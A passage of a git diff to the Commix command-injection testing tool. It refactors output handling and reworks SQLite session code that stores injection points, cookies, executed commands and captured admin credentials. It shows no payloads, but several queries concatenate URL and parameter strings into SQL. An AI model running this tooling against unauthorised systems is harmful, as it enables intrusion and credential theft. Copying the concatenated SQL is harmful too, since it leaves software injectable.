- options.current_user or \ - options.is_root or \ - options.is_admin or \ - options.sys_info or \ - options.users or \ - options.privileges or \ - options.passwords or \ - options.ps_version : + if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)): return True """ Check if file access options are enabled. """ def file_access_options(): - if options.file_write or \ - options.file_upload or\ - options.file_read: + if any((options.file_write, options.file_upload, options.file_read)): return True # eof diff --git a/src/utils/purge.py b/src/utils/purge.py index eda005530a..81b7dbfebf 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -37,17 +37,12 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): - warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return - info_msg = "Purging content of directory '" + directory + "'" - if not settings.VERBOSITY_LEVEL != 0: - info_msg += ". " - else: - info_msg += ".\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - + info_msg = "Purging content of directory '" + directory + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Purging content of target directory. dir_paths = [] file_paths = [] @@ -58,8 +53,8 @@ def purge(): # Changing file attributes. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -67,17 +62,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Writing random data to files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -87,17 +77,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Truncating files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -106,17 +91,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Renaming filenames to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -124,17 +104,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Renaming directory names to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: @@ -143,27 +118,19 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) - # Deleting the whole directory tree. + # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." - sys.stdout.write(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) - except OSError as ex: - failed = True - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) + except OSError as e: + failed = True + if failed: err_msg = "Problem occurred while removing directory '" + directory + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/utils/requirments.py b/src/utils/requirements.py similarity index 79% rename from src/utils/requirments.py rename to src/utils/requirements.py index 1b3c3f13c2..08da27229c 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirements.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -16,18 +16,18 @@ import subprocess """ -Check for requirments. +Check for requirements. """ -def do_check(requirment): +def do_check(requirement): try: - # Pipe output to the file path of the null device, for silence. + # Pipe output to the file path of the null device, for silence. # i.e '/dev/null' for POSIX, 'nul' for Windows null = open(os.devnull,"w") - subprocess.Popen(requirment, stdout=null, stderr=null) + subprocess.Popen(requirement, stdout=null, stderr=null) null.close() return True except OSError: return False - + # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index b0d8411aba..4fcfd0613a 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -20,6 +20,8 @@ import sqlite3 from src.utils import menu from src.utils import settings +from src.utils import common +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -28,6 +30,11 @@ """ no_such_table = False +""" +""" +def split_url(url): + return url.split("?")[0] + """ Generate table name for SQLite3 db. """ @@ -43,11 +50,11 @@ def ignore(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping ignoring the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Flush session. @@ -56,7 +63,7 @@ def flush(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Flushing the stored session from the session file." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: conn = sqlite3.connect(settings.SESSION_FILE) tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) @@ -64,182 +71,192 @@ def flush(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.SINGLE_WHITESPACE) - err_msg = "Unable to flush the session file." + str(err_msg).title() - print(settings.print_critical_msg(err_msg)) + err_msg = "Unable to flush the session file. " + str(err_msg) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping flushing the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Clear injection point records +Clear injection point records except latest for every technique. """ def clear(url): try: if no_such_table: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE "\ - "id NOT IN (SELECT MAX(id) FROM " + \ - table_name(url) + "_ip GROUP BY technique);") + query = "DELETE FROM " + table_name(url) + "_ip WHERE " + \ + "id NOT IN (SELECT MAX(id) FROM " + \ + table_name(url) + "_ip GROUP BY technique);" + conn.execute(query) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False """ Import successful injection points to session file. """ -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): - try: +def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): + try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, how_long, output_length, is_vulnerable) "\ - "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) "\ + "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ - int(url_time_response), int(timesec), int(how_long), \ - int(output_length), str(is_vulnerable))) + int(url_time_response), int(timesec), int(exec_time), \ + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: settings.INJECTION_CHECKER = True - + except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, _ = False) except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() """ Export successful applied techniques from session file. """ -def applied_techniques(url, http_request_method): - try: +def applied_techniques(url, http_request_method): + try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - else: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - values = [] - for session in applied_techniques: - if "tempfile" in session[0][:8]: - settings.TEMPFILE_BASED_STATE = True - session = session[0][4:] - elif "dynamic" in session[0][:7]: - settings.EVAL_BASED_STATE = True - session = session[0][13:] - values += session[0][:1] - applied_techniques = ''.join(list(set(values))) - return applied_techniques + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + techniques.append(technique) + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + return techniques except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques """ -Export successful applied techniques from session file. +Export successful applied injection level from session file. """ def applied_levels(url, http_request_method): + level = settings.DEFAULT_INJECTION_LEVEL + try: + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + http_header = session[12] + level = int(session[18]) + if http_header: + if http_header == settings.COOKIE.lower(): + level = settings.COOKIE_INJECTION_LEVEL + else: + level = settings.HTTP_HEADER_INJECTION_LEVEL + return level + except sqlite3.OperationalError as err_msg: + settings.LOAD_SESSION = None + return level + except: + settings.LOAD_SESSION = None + return level + +""" +Export successful injection points from session file. +""" +def check_stored_injection_points(url, check_parameter, http_request_method): + _ = False try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query).fetchall() + # vuln_parameter = check_parameter + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + url = session[1] + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + if technique in menu.options.tech: + _ = True + techniques.append(technique) + cookie = session[20] + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + if _: + vuln_parameter = session[6] + settings.LOAD_SESSION = True + settings.INJECTION_CHECKER = True + if not settings.MULTI_TARGETS: + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) + return url, vuln_parameter + else: + settings.LOAD_SESSION = False + return url, vuln_parameter else: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") - - for session in applied_level: - return session[0] - + settings.LOAD_SESSION = None + return url, check_parameter except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter """ Export successful injection points from session file. """ -def injection_point_exportation(url, http_request_method): +def export_injection_points(url, technique, injection_type, http_request_method): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ - table_name(url) + "_ip' AND type = 'table';") - if result: - if menu.options.tech[:1] == "c": - select_injection_type = "R" - elif menu.options.tech[:1] == "e": - settings.EVAL_BASED_STATE = True - select_injection_type = "R" - elif menu.options.tech[:1] == "t": - select_injection_type = "B" - else: - select_injection_type = "S" - if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - check_injection_technique = "t" - elif settings.EVAL_BASED_STATE and select_injection_type == "R": - check_injection_technique = "d" - else: - check_injection_technique = menu.options.tech[:1] - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - - else: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ - "http_header = '" + settings.HTTP_HEADER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - + conn = sqlite3.connect(settings.SESSION_FILE) + result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';") + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE " + \ + "url like '%" + split_url(url) + "%' AND " + \ + "technique == '" + technique + "' AND " + \ + "injection_type == '" + injection_type + "' AND " + \ + "http_request_method == '" + http_request_method + "';" + cursor = conn.execute(query).fetchall() + if cursor: for session in cursor: url = session[1] technique = session[2] @@ -252,93 +269,36 @@ def injection_point_exportation(url, http_request_method): TAG = session[9] alter_shell = session[10] payload = session[11] + http_header = session[12] http_request_method = session[13] url_time_response = session[14] timesec = session[15] - how_long = session[16] + exec_time = session[16] output_length = session[17] is_vulnerable = session[18] - return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable + data = session[19] + cookie = session[20] + if http_header: + settings.HTTP_HEADER = http_header + if cookie: + menu.options.cookie = cookie + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) + return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable + else: + settings.LOAD_SESSION = None + return False else: no_such_table = True pass except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False except: - settings.LOAD_SESSION = False - return False - -""" -Notification about session. -""" -def notification(url, technique, injection_type): - try: - if settings.LOAD_SESSION == True: - info_msg = "A previously stored session has been held against that host." - print(settings.print_info_msg(info_msg)) - while True: - if not menu.options.batch: - question_msg = "Do you want to resume to the " - question_msg += "(" + injection_type.split(" ")[0] + ") " - question_msg += technique.rsplit(' ', 2)[0] - question_msg += " injection point? [Y/n] > " - settings.LOAD_SESSION = _input(settings.print_question_msg(question_msg)) - else: - settings.LOAD_SESSION = "" - if len(settings.LOAD_SESSION) == 0: - settings.LOAD_SESSION = "Y" - if settings.LOAD_SESSION in settings.CHOICE_YES: - return True - elif settings.LOAD_SESSION in settings.CHOICE_NO: - settings.LOAD_SESSION = False - if technique[:1] != "c": - while True: - question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "a": - settings.RETEST = True - break - elif proceed_option.lower() == "c" : - settings.RETEST = False - break - elif proceed_option.lower() == "n": - raise SystemExit() - else: - pass - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - if settings.SESSION_APPLIED_TECHNIQUES: - menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) - return False - elif settings.LOAD_SESSION in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) - -""" -Check for specific stored parameter. -""" -def check_stored_parameter(url, http_request_method): - if injection_point_exportation(url, http_request_method): - if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): - # Check for stored alternative shell - if injection_point_exportation(url, http_request_method)[9] != "": - menu.options.alter_shell = injection_point_exportation(url, http_request_method)[9] - return True - else: - return False - else: + settings.LOAD_SESSION = None return False """ @@ -346,27 +306,20 @@ def check_stored_parameter(url, http_request_method): """ def store_cmd(url, cmd, shell, vuln_parameter): if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): - try: + try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - if settings.TESTABLE_PARAMETER: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ - str(vuln_parameter))) - else: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ - str(settings.HTTP_HEADER))) + conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ + "VALUES(?,?,?)", \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ + str(vuln_parameter))) conn.commit() - conn.close() + conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) - except TypeError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + except (TypeError, AttributeError) as err_msg: pass """ @@ -374,31 +327,20 @@ def store_cmd(url, cmd, shell, vuln_parameter): """ def export_stored_cmd(url, cmd, vuln_parameter): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ - "vuln_parameter= '" + vuln_parameter + "';").fetchall() - else: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ - "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() - - conn.commit() - conn.close() - - for session in cursor: - output = base64.b64decode(session[0]) - try: - return output.decode(settings.UNICODE_ENCODING) - except AttributeError: - return output - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT output FROM " + table_name(url) + \ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND " + \ + "vuln_parameter= '" + vuln_parameter + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + for session in cursor: + output = base64.b64decode(session[0]) + try: + return output.decode(settings.DEFAULT_CODEC) + except AttributeError: + return output except sqlite3.OperationalError as err_msg: pass @@ -411,41 +353,31 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\ "username VARCHAR, password VARCHAR);") - - conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, "\ + conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, " \ "admin_panel, username, password) VALUES(?,?,?,?,?)", \ (str(url), str(authentication_type), str(admin_panel), \ str(username), str(password))) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - + checks.error_loading_session_file() """ Export valid credentials from session file. """ def export_valid_credentials(url, authentication_type): - try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - cursor = conn.execute("SELECT username, password FROM " + table_name(url) + \ - "_creds WHERE url='" + url + "' AND "\ - "authentication_type= '" + authentication_type + "';").fetchall() - - cursor = ":".join(cursor[0]) - return cursor - else: - no_such_table = True - pass + try: + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT username, password FROM " + table_name(url) + \ + "_creds WHERE url like '%" + split_url(url) + "%' AND " + \ + "authentication_type= '" + authentication_type + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + return ":".join(cursor[0]) except sqlite3.OperationalError as err_msg: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 328b38c916..987b467016 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -20,9 +20,33 @@ import random import string import codecs +from datetime import date +from datetime import datetime from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module + +# argv checks +def sys_argv_checks(): + tamper_index = None + for i in xrange(len(sys.argv)): + # Disable coloring + if sys.argv[i] == "--disable-coloring": + from src.utils import colors + colors.ENABLE_COLORING = False + """ + Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) + [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae + """ + if sys.argv[i].startswith("--tamper"): + if tamper_index is None: + tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) + else: + sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) + sys.argv[i] = "" + +# argv checks +sys_argv_checks() from src.thirdparty.colorama import Fore, Back, Style, init class HTTPMETHOD(object): @@ -45,76 +69,105 @@ class HTTPMETHOD(object): # Status Signs LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: " INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] " -INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " +INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " REQUEST_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " QUESTION_SIGN = Style.BRIGHT -TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX +TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT -ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " -PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " -SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL +PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " +SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL +SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" -ABORTION_SIGN = ERROR_SIGN -DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " +ABORTION_SIGN = ERROR_SIGN +DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " 